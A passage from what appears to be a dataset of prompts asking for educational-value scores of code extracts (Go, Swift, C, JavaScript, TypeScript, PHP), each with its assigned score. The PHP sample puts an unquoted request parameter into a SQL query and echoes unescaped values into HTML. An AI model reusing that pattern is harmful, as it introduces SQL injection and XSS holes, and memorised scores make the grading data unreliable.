- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., goroutines, interfaces). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Go. It should be similar to a school exercise, a tutorial, or a Go course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Go. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
package gorush
import (
"github.com/appleboy/gorush/config"
"github.com/appleboy/gorush/storage"
"github.com/appleboy/go-fcm"
"github.com/sideshow/apns2"
"github.com/sirupsen/logrus"
)
var (
// PushConf is gorush config
PushConf config.ConfYaml
// QueueNotification is chan type
QueueNotification chan PushNotification
// ApnsClient is apns client
ApnsClient *apns2.Client
// FCMClient is apns client
FCMClient *fcm.Client
// LogAccess is log server request log
LogAccess *logrus.Logger
// LogError is log server error log
LogError *logrus.Logger
// StatStorage implements the storage interface
StatStorage storage.Storage
// MaxConcurrentIOSPushes pool to limit the number of concurrent iOS pushes
MaxConcurrentIOSPushes chan struct{}
)
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
go
| 1 |
package gorush
import (
"github.com/appleboy/gorush/config"
"github.com/appleboy/gorush/storage"
"github.com/appleboy/go-fcm"
"github.com/sideshow/apns2"
"github.com/sirupsen/logrus"
)
var (
// PushConf is gorush config
PushConf config.ConfYaml
// QueueNotification is chan type
QueueNotification chan PushNotification
// ApnsClient is apns client
ApnsClient *apns2.Client
// FCMClient is apns client
FCMClient *fcm.Client
// LogAccess is log server request log
LogAccess *logrus.Logger
// LogError is log server error log
LogError *logrus.Logger
// StatStorage implements the storage interface
StatStorage storage.Storage
// MaxConcurrentIOSPushes pool to limit the number of concurrent iOS pushes
MaxConcurrentIOSPushes chan struct{}
)
|
Below is an extract from a Swift program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Swift code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Swift concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., protocols, extensions). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Swift. It should be similar to a school exercise, a tutorial, or a Swift course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Swift. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
//
// ListProductTableCell.swift
// EnjoeiTest
//
// Created by <NAME> on 20/05/16.
// Copyright © 2016 <EMAIL>. All rights reserved.
//
import UIKit
class ListProductTableCell: BaseCell {
@IBOutlet weak var collection: UICollectionView!
var productHandler: ProductListHandler = ProductListHandler()
override func populateCell(item: AnyObject){
productHandler.collection = collection
if let itensList = item as? [Product] {
productHandler.listOfItens = itensList
}
}
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
swift
| 1 |
//
// ListProductTableCell.swift
// EnjoeiTest
//
// Created by <NAME> on 20/05/16.
// Copyright © 2016 <EMAIL>. All rights reserved.
//
import UIKit
class ListProductTableCell: BaseCell {
@IBOutlet weak var collection: UICollectionView!
var productHandler: ProductListHandler = ProductListHandler()
override func populateCell(item: AnyObject){
productHandler.collection = collection
if let itensList = item as? [Product] {
productHandler.listOfItens = itensList
}
}
}
|
Below is an extract from a C program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., kernel development and compiler design). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C. It should be similar to a school exercise, a tutorial, or a C course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
#include"calc.h"
int main(int argc,char ** argv)
{
int type;
double op2;
char s[MAXOP];
while((type=getop(s))!=EOF)
{
switch(type)
{
case NUMBER:
push(atof(s));
break;
case '+':
push(pop()+pop());
break;
case '*':
push(pop()*pop());
break;
case '-':
op2 = pop();
push(pop()-op2);
break;
case '/':
op2 = pop();
if(op2==0)
{
printf("divide zero exception.\n");
exit(1);
}
else
{
push(pop()/op2);
}
break;
case '%':
op2 = pop();
push((int)pop()%(int)op2);
break;
case '\n':
printf("\t%.8g\n",pop());
break;
case 's':push(sin(pop()));break;
case 'e':push(exp(pop()));break;
case 'p':
op2 = pop();
push(pow(pop(),op2));
break;
default:
printf("error:unknown command %s\n",s);
break;
}
}
exit(0);
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
c
| 4 |
#include"calc.h"
int main(int argc,char ** argv)
{
int type;
double op2;
char s[MAXOP];
while((type=getop(s))!=EOF)
{
switch(type)
{
case NUMBER:
push(atof(s));
break;
case '+':
push(pop()+pop());
break;
case '*':
push(pop()*pop());
break;
case '-':
op2 = pop();
push(pop()-op2);
break;
case '/':
op2 = pop();
if(op2==0)
{
printf("divide zero exception.\n");
exit(1);
}
else
{
push(pop()/op2);
}
break;
case '%':
op2 = pop();
push((int)pop()%(int)op2);
break;
case '\n':
printf("\t%.8g\n",pop());
break;
case 's':push(sin(pop()));break;
case 'e':push(exp(pop()));break;
case 'p':
op2 = pop();
push(pow(pop(),op2));
break;
default:
printf("error:unknown command %s\n",s);
break;
}
}
exit(0);
}
|
Below is an extract from a Swift program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Swift code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Swift concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., protocols, extensions). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Swift. It should be similar to a school exercise, a tutorial, or a Swift course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Swift. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
//
// Date+Formatter.swift
// SeatGeekSearch
//
// Created by <NAME> on 3/15/19.
// Copyright © 2019 <NAME>. All rights reserved.
//
import Foundation
extension String {
func toDate() -> Date? {
let dateFormatter = DateFormatter()
dateFormatter.dateFormat = "yyyy-MM-dd'T'HH:mm:ss"
return dateFormatter.date(from:self)
}
}
extension Date {
func prettyFormat() -> String {
let dateFormatter = DateFormatter()
dateFormatter.dateFormat = "EE, MMM dd, yyyy hh:mm a"
return dateFormatter.string(from: self)
}
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
swift
| 2 |
//
// Date+Formatter.swift
// SeatGeekSearch
//
// Created by <NAME> on 3/15/19.
// Copyright © 2019 <NAME>. All rights reserved.
//
import Foundation
extension String {
func toDate() -> Date? {
let dateFormatter = DateFormatter()
dateFormatter.dateFormat = "yyyy-MM-dd'T'HH:mm:ss"
return dateFormatter.date(from:self)
}
}
extension Date {
func prettyFormat() -> String {
let dateFormatter = DateFormatter()
dateFormatter.dateFormat = "EE, MMM dd, yyyy hh:mm a"
return dateFormatter.string(from: self)
}
}
|
Below is an extract from a JavaScript program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid JavaScript code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical JavaScript concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., asynchronous programming). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching JavaScript. It should be similar to a school exercise, a tutorial, or a JavaScript course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching JavaScript. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
import styles from "./Cover.module.scss";
const Cover = ({ imageSrc }) => {
return <img className={styles.cover} alt="Book Cover" src={imageSrc} />;
};
export default Cover;
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
javascript
| 2 |
import styles from "./Cover.module.scss";
const Cover = ({ imageSrc }) => {
return <img className={styles.cover} alt="Book Cover" src={imageSrc} />;
};
export default Cover;
|
Below is an extract from a C program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., kernel development and compiler design). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C. It should be similar to a school exercise, a tutorial, or a C course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
/**********************************************************/
/* This program is a UDP version of tictactoe */
/* Two users, player 1 and player 2, pass the game back */
/* and forth, on two computers */
/**********************************************************/
/*
The client is always player 1
The server is always player 2
*/
/* include files go here */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <inttypes.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
/* #define section, for now we will define the number of rows and columns */
#define ROWS 3
#define COLUMNS 3
#define BUFFER_SIZE 1000
#define DATAGRAM_SIZE 4
#define CLIENT_NUMBER 2
#define VERSION 3
/* C language requires that you predefine all the routines you are writing */
int checkwin(char board[ROWS][COLUMNS]);
void print_board(char board[ROWS][COLUMNS]);
int tictactoe(char board[ROWS][COLUMNS], int player_number, int sd, struct sockaddr_in to_server);
int initSharedState(char board[ROWS][COLUMNS]);
int client(char *ip_addr, char *port);
int main(int argc, char *argv[])
{
/*check arguments*/
/*If user input 3 arguments, call client function*/
if(argc == 4)
{
if(atoi(argv[2]) == 2)
{
char *ip_addr = argv[3];
char *port = argv[1];
client(ip_addr,port);
} else
{
printf("The player number for a client is 2.\n");
}
}else
{
printf("Wrong number of arguments.\n");
printf("./tictactoeOriginal <port> <player number> <server ip> for a client.\n");
}
return 0;
}
int client(char *ip_addr, char *port)
{
char board[ROWS][COLUMNS];
printf("The server IP address: %s\n",ip_addr);
printf("The port number: %s\n",port);
int sd = 0;
struct sockaddr_in to_server;
struct timeval timeout={15,0}; //Set timeout interval
/* assigning values for sockaddr_in structure. */
to_server.sin_family = AF_INE
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
c
| 3 |
/**********************************************************/
/* This program is a UDP version of tictactoe */
/* Two users, player 1 and player 2, pass the game back */
/* and forth, on two computers */
/**********************************************************/
/*
The client is always player 1
The server is always player 2
*/
/* include files go here */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <inttypes.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
/* #define section, for now we will define the number of rows and columns */
#define ROWS 3
#define COLUMNS 3
#define BUFFER_SIZE 1000
#define DATAGRAM_SIZE 4
#define CLIENT_NUMBER 2
#define VERSION 3
/* C language requires that you predefine all the routines you are writing */
int checkwin(char board[ROWS][COLUMNS]);
void print_board(char board[ROWS][COLUMNS]);
int tictactoe(char board[ROWS][COLUMNS], int player_number, int sd, struct sockaddr_in to_server);
int initSharedState(char board[ROWS][COLUMNS]);
int client(char *ip_addr, char *port);
int main(int argc, char *argv[])
{
/*check arguments*/
/*If user input 3 arguments, call client function*/
if(argc == 4)
{
if(atoi(argv[2]) == 2)
{
char *ip_addr = argv[3];
char *port = argv[1];
client(ip_addr,port);
} else
{
printf("The player number for a client is 2.\n");
}
}else
{
printf("Wrong number of arguments.\n");
printf("./tictactoeOriginal <port> <player number> <server ip> for a client.\n");
}
return 0;
}
int client(char *ip_addr, char *port)
{
char board[ROWS][COLUMNS];
printf("The server IP address: %s\n",ip_addr);
printf("The port number: %s\n",port);
int sd = 0;
struct sockaddr_in to_server;
struct timeval timeout={15,0}; //Set timeout interval
/* assigning values for sockaddr_in structure. */
to_server.sin_family = AF_INET;
to_server.sin_port = htons(atoi(port));
to_server.sin_addr.s_addr = inet_addr(ip_addr);
sd = socket(AF_INET,SOCK_DGRAM,0);
/* socket error check. */
if(sd < 0)
{
printf("Failed to create a socket.\n");
exit(1);
}
/* Bind timeout with the socket*/
setsockopt(sd,SOL_SOCKET,SO_RCVTIMEO,&timeout,sizeof(struct timeval));
printf("Created a socket.\n");
initSharedState(board); // Initialize the 'game' board
tictactoe(board, CLIENT_NUMBER, sd, to_server); // call the 'game'
close(sd);
return 0;
}
int tictactoe(char board[ROWS][COLUMNS], int player_number, int sd, struct sockaddr_in to_server)
{
/* Modify the original tictactoe game to a networking version */
char mark; // either an 'x' or an 'o'
int player = 2; // keep track of whose turn it is
int i; // used for keeping track of choice user makes
int row, column, win_check;
/* Define the three bytes for transfer protocal */
uint8_t choice;
uint8_t state_check;
uint8_t modifier = 1;
uint8_t *buffer;
socklen_t address_length = sizeof(to_server);
/* loop, first print the board, then ask player 'n' to make a move */
do {
choice = 0;
print_board(board); // call function to print the board on the screen
player = (player % 2) ? 1 : 2; // Mod math to figure out who the player is
buffer = (uint8_t*) calloc(BUFFER_SIZE, sizeof(uint8_t));
if(player== player_number)
{
/* print out player so you can pass game */
printf("Player %d, enter a number: ", player);
/* using scanf to get the choice */
scanf("%"SCNu8, &choice);
}else
{
int recv_length = 0;
//handle UDP
printf("Waiting for the data.\n");
recv_length = recvfrom(sd, buffer, DATAGRAM_SIZE, 0, (struct sockaddr*) &to_server, &address_length);
printf("Just received the data, size: %d.\n",recv_length);
if(recv_length < 0 )
{
printf("Faild to receive a data.\n");
free(buffer);
return 0;
}
else if (recv_length == 0)
{
printf("Conenction Lost.\n");
free(buffer);
return 0;
}
/* Check the protocal version */
if(buffer[0] != VERSION)
{
printf("Wrong version message: %u.\n", buffer[0]);
free(buffer);
return 0;
}
/* Check the game state*/
else if (buffer[2] == 2)
{
printf("There was an error.\n");
free(buffer);
return 0;
}
/* Check if there was an error*/
else if (buffer[2] != 0 && buffer[2] != 1)
{
printf("Received an invalid message.\n");
free(buffer);
return 0;
}
/*Game complete check*/
else if (buffer[2] == 1)
{
win_check = buffer[3];
}
memcpy(&choice, &buffer[1], 1);
}
mark = (player == 1) ? 'X' : 'O'; //depending on who the player is, either us x or o
row = (int)((choice-1) / ROWS);
column = (choice-1) % COLUMNS;
/* first check to see if the row/column chosen is has a digit in it, if it */
/* square 8 has and '8' then it is a valid choice */
if (board[row][column] == (choice+'0'))
{
board[row][column] = mark;
if(player == player_number)
{
memset(buffer, VERSION, 1); //Set version number
memset(buffer+1, choice, 1);
if(checkwin(board) != -1)
{
state_check = 1;
if(checkwin(board) == 1)
{
/* I win */
modifier = 2;
} else
{
/* Draw */
modifier = 1;
}
} else
{
state_check = 0;
}
memset(buffer+2, state_check, 1);
memset(buffer+3, modifier, 1);
printf("The server IP address: %s\n", inet_ntoa(to_server.sin_addr));
printf("The port number: %u\n", ntohs(to_server.sin_port));
printf("Sending protocal: %u %u %u %u\n", buffer[0], buffer[1], buffer[2],buffer[3]);
int check = sendto(sd, buffer, DATAGRAM_SIZE, 0,(struct sockaddr*)&to_server,sizeof(to_server));
printf("Sending size: %d\n",check);
if(check < 4)
{
printf("Failed to write.\n");
free(buffer);
return 0;
}
} else
{
memset(buffer, VERSION, 1); //Set version number
memset(buffer+1, 0, 1);
if(checkwin(board) != -1 && checkwin(board) != win_check)
{
state_check = 2;
printf("ERROR: results from both users are not same.\n");
}
if(state_check == 2)
{
memset(buffer+2, state_check, 1);
int check = sendto(sd, buffer, DATAGRAM_SIZE, 0,(struct sockaddr*)&to_server,address_length);
printf("%d",check);
if(check < 3)
{
printf("Failed to write.\n");
free(buffer);
return 0;
}
}
}
}else
{
printf("Invalid move ");
if(player == player_number)
{
player--;
getchar();
} else
{
memset(buffer, VERSION, 1); //Set version number
state_check = 2;
memset(buffer+2, state_check, 1);
if(sendto(sd, buffer, DATAGRAM_SIZE, 0,(struct sockaddr*)&to_server,sizeof(to_server)) < 4)
{
printf("Failed to write.\n");
free(buffer);
return 0;
}
free(buffer);
return 0;
}
}
/* after a move, check to see if someone won! (or if there is a draw */
i = checkwin(board);
player++;
free(buffer);
}while (i == -1); // -1 means no one won
/* print out the board again */
print_board(board);
if (i == 1) // means a player won!! congratulate them
{
printf("==>\aPlayer %d wins\n ", --player);
}
else
{
printf("==>\aGame draw"); // ran out of squares, it is a draw
}
return 0;
}
int checkwin(char board[ROWS][COLUMNS])
{
/************************************************************************/
/* brute force check to see if someone won, or if there is a draw */
/* return a 0 if the game is 'over' and return -1 if game should go on */
/************************************************************************/
if (board[0][0] == board[0][1] && board[0][1] == board[0][2] ) // row matches
return 1;
else if (board[1][0] == board[1][1] && board[1][1] == board[1][2] ) // row matches
return 1;
else if (board[2][0] == board[2][1] && board[2][1] == board[2][2] ) // row matches
return 1;
else if (board[0][0] == board[1][0] && board[1][0] == board[2][0] ) // column
return 1;
else if (board[0][1] == board[1][1] && board[1][1] == board[2][1] ) // column
return 1;
else if (board[0][2] == board[1][2] && board[1][2] == board[2][2] ) // column
return 1;
else if (board[0][0] == board[1][1] && board[1][1] == board[2][2] ) // diagonal
return 1;
else if (board[2][0] == board[1][1] && board[1][1] == board[0][2] ) // diagonal
return 1;
else if (board[0][0] != '1' && board[0][1] != '2' && board[0][2] != '3' &&
board[1][0] != '4' && board[1][1] != '5' && board[1][2] != '6' &&
board[2][0] != '7' && board[2][1] != '8' && board[2][2] != '9')
return 0; // Return of 0 means game over
else
return - 1; // return of -1 means keep playing
}
void print_board(char board[ROWS][COLUMNS])
{
/*****************************************************************/
/* brute force print out the board and all the squares/values */
/*****************************************************************/
printf("\n\n\n\tCurrent TicTacToe Game\n\n");
printf("Player 1 (X) - Player 2 (O)\n\n\n");
printf(" | | \n");
printf(" %c | %c | %c \n", board[0][0], board[0][1], board[0][2]);
printf("_____|_____|_____\n");
printf(" | | \n");
printf(" %c | %c | %c \n", board[1][0], board[1][1], board[1][2]);
printf("_____|_____|_____\n");
printf(" | | \n");
printf(" %c | %c | %c \n", board[2][0], board[2][1], board[2][2]);
printf(" | | \n\n");
}
int initSharedState(char board[ROWS][COLUMNS])
{
/* this just initializing the shared state aka the board */
int i, j, count = 1;
printf ("in sharedstate area\n");
for (i=0;i<3;i++)
for (j=0;j<3;j++){
board[i][j] = count + '0';
count++;
}
return 0;
}
|
Below is an extract from a TypeScript program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid TypeScript code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical TypeScript concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., generics, decorators). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching TypeScript. It should be similar to a school exercise, a tutorial, or a TypeScript course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching TypeScript. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
import { useEffect, useRef } from "react";
import { canUseDOM } from "../helpers/functions";
export const useEventListener: (e: any, handler: Function, eventOptions?: any, el?: Window & typeof globalThis) => void = (
e,
handler,
eventOptions,
el = window
) => {
const savedHandler = useRef<Function>();
useEffect(() => {
savedHandler.current = handler;
}, [handler]);
useEffect(() => {
if (!canUseDOM) return;
if (el) {
const eventListener: (event: any) => any = (event) => savedHandler.current(event);
el.addEventListener(e, eventListener, eventOptions);
return () => {
el.removeEventListener(e, eventListener, eventOptions);
};
}
}, [e, el]);
};
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
typescript
| 3 |
import { useEffect, useRef } from "react";
import { canUseDOM } from "../helpers/functions";
export const useEventListener: (e: any, handler: Function, eventOptions?: any, el?: Window & typeof globalThis) => void = (
e,
handler,
eventOptions,
el = window
) => {
const savedHandler = useRef<Function>();
useEffect(() => {
savedHandler.current = handler;
}, [handler]);
useEffect(() => {
if (!canUseDOM) return;
if (el) {
const eventListener: (event: any) => any = (event) => savedHandler.current(event);
el.addEventListener(e, eventListener, eventOptions);
return () => {
el.removeEventListener(e, eventListener, eventOptions);
};
}
}, [e, el]);
};
|
Below is an extract from a PHP program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid PHP code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical PHP concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., object-oriented programming, namespaces). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching PHP. It should be similar to a school exercise, a tutorial, or a PHP course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching PHP. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
<?php
/* Bağlantı bilgilerinin alınması*/
require_once("baglanti.php");
/* Veritabanı sorgulama */
$guncellenecek = mysqli_real_escape_string($baglanti, $_GET["KonumKayitNo"]);
$sorgu = mysqli_query($baglanti, "SELECT * FROM konum WHERE KonumKayitNo = $guncellenecek");
$satir = mysqli_fetch_assoc($sorgu)
?>
<html>
<head>
<meta charset="utf-8">
<meta name="author" content="<NAME>">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="<KEY>" crossorigin="anonymous">
<link href="secondstyle.css" rel="stylesheet" type="text/css">
<link href="https://fonts.googleapis.com/css?family=Indie+Flower|Pacifico|Shadows+Into+Light|Ubuntu" rel="stylesheet">
<tittle>Konum Listesi</tittle>
</head>
<body> <div class="container-fluid">
<div class="row mb-5">
<div class="col">
<nav class="navbar navbar-expand-lg navbar-light bg-a fixed-top">
<a class="navbar-brand yazi" href="index.html" style="font-size: 32px;"> Film Veri Tabanı</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse justify-content-end" id="navbarNav">
<ul class="navbar-nav ">
<li class="nav-item active">
<a class="nav-link" href="listele.php">Film Listesi</a>
</li>
<li class="nav-item active">
<a class="nav-link" href="yönetmenler.php">Yönetmen Listesi</a>
</li>
<li class="nav-item">
<a class="nav-link" href="KonumListesi.php">Konum Listesi</a>
</li>
<li class="nav-item">
<a class="nav-link" href="oyuncuListesi.php">Oyuncular Listesi</a>
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
php
| 2 |
<?php
/* Bağlantı bilgilerinin alınması*/
require_once("baglanti.php");
/* Veritabanı sorgulama */
$guncellenecek = mysqli_real_escape_string($baglanti, $_GET["KonumKayitNo"]);
$sorgu = mysqli_query($baglanti, "SELECT * FROM konum WHERE KonumKayitNo = $guncellenecek");
$satir = mysqli_fetch_assoc($sorgu)
?>
<html>
<head>
<meta charset="utf-8">
<meta name="author" content="<NAME>">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="<KEY>" crossorigin="anonymous">
<link href="secondstyle.css" rel="stylesheet" type="text/css">
<link href="https://fonts.googleapis.com/css?family=Indie+Flower|Pacifico|Shadows+Into+Light|Ubuntu" rel="stylesheet">
<tittle>Konum Listesi</tittle>
</head>
<body> <div class="container-fluid">
<div class="row mb-5">
<div class="col">
<nav class="navbar navbar-expand-lg navbar-light bg-a fixed-top">
<a class="navbar-brand yazi" href="index.html" style="font-size: 32px;"> Film Veri Tabanı</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse justify-content-end" id="navbarNav">
<ul class="navbar-nav ">
<li class="nav-item active">
<a class="nav-link" href="listele.php">Film Listesi</a>
</li>
<li class="nav-item active">
<a class="nav-link" href="yönetmenler.php">Yönetmen Listesi</a>
</li>
<li class="nav-item">
<a class="nav-link" href="KonumListesi.php">Konum Listesi</a>
</li>
<li class="nav-item">
<a class="nav-link" href="oyuncuListesi.php">Oyuncular Listesi</a>
</li>
</ul>
</div>
</nav>
</div>
</div> </div>
<br>
<br>
<center> <h1>Konum Güncelle</h1> </center>
<form action="konumgüncelleB.php" method="post">
<label for="ad">Cdnin Konum Bilgisi:</label><br/>
<input type="text" value="<?php echo $satir["CdninKonumBilgisi"] ;?>" name="CdninKonumBilgisi" style="color:black "><br>
<label for="ad">Konum Derecesi:</label><br/>
<input type="text" value="<?php echo $satir["KonumDerecesi"] ;?>" name="KonumDerecesi" style="color:black "><br>
<input type="hidden" value="<?php echo $satir["KonumKayitNo"] ;?>" name="KonumKayitNo">
<input id="a" type="submit" value="Kaydı Güncelle" style="color:black ">
</form>
<br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br>
<div>
<footer class="footer bg-black small text-center text-white-50" style="border-radius:10px;width: 100%;height: 30px;background-color: #1C2E55">
<p>Bu Veritabanı <a href="https://www.instagram.com/borandemir1/?hl=tr"> <NAME> </a>tarafından tasarlanmıştır</p></footer>
</div>
</body>
</html>
|
Below is an extract from a Swift program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Swift code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Swift concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., protocols, extensions). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Swift. It should be similar to a school exercise, a tutorial, or a Swift course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Swift. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
//
// GameDetailViewController.swift
// GoodGame
//
// Created by <NAME> on 10/17/19.
// Copyright © 2019 <NAME>. All rights reserved.
//
import UIKit
import WSTagsField
protocol PlaythroughHistoryDelegate {
func updatePlaythroughButton()
}
class GameDetailViewController: UIViewController, UITextFieldDelegate, UITableViewDelegate, UITableViewDataSource, PlaythroughHistoryDelegate {
func updatePlaythroughButton() {
if let savedGamePlaythroughs = savedGame?.playthroughs?.array {
if savedGamePlaythroughs.isEmpty {
playthroughHistoryBarButtonItem.tintColor = .clear
}
}
}
// MARK: - TableView Delegate / Datasource
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
return tagSuggestions.count
}
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
let cell = tableView.dequeueReusableCell(withIdentifier: "cell", for: indexPath)
cell.textLabel?.text = tagSuggestions[indexPath.row]
cell.backgroundColor = .lightGray
return cell
}
func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
guard let selectedTagsList = currentlySelectedTagsList else { return }
// ADD TO GENRES -- WHICH ADDS TO TAGS
#warning("goal is to make a tuple here and create a Genre Object")
suggestedTagTableView.removeFromSuperview()
let selectedTagToAdd = tagSuggestions[indexPath.row]
selectedTagsList.addTag(selectedTagToAdd)
}
// MARK: - Internal Properties
// TagFields
var coverImageCallCompleted = false
var platformTagsCallCompleted = false
var genreTagsCallCompleted = false
var gameModeTagsCallCompleted = false
fileprivate let gameModeTagsList = WSTagsField()
fileprivate let platformTagsList = WSTagsField()
fileprivate let genreTagsList = WSTa
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
swift
| 2 |
//
// GameDetailViewController.swift
// GoodGame
//
// Created by <NAME> on 10/17/19.
// Copyright © 2019 <NAME>. All rights reserved.
//
import UIKit
import WSTagsField
protocol PlaythroughHistoryDelegate {
func updatePlaythroughButton()
}
class GameDetailViewController: UIViewController, UITextFieldDelegate, UITableViewDelegate, UITableViewDataSource, PlaythroughHistoryDelegate {
func updatePlaythroughButton() {
if let savedGamePlaythroughs = savedGame?.playthroughs?.array {
if savedGamePlaythroughs.isEmpty {
playthroughHistoryBarButtonItem.tintColor = .clear
}
}
}
// MARK: - TableView Delegate / Datasource
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
return tagSuggestions.count
}
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
let cell = tableView.dequeueReusableCell(withIdentifier: "cell", for: indexPath)
cell.textLabel?.text = tagSuggestions[indexPath.row]
cell.backgroundColor = .lightGray
return cell
}
func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
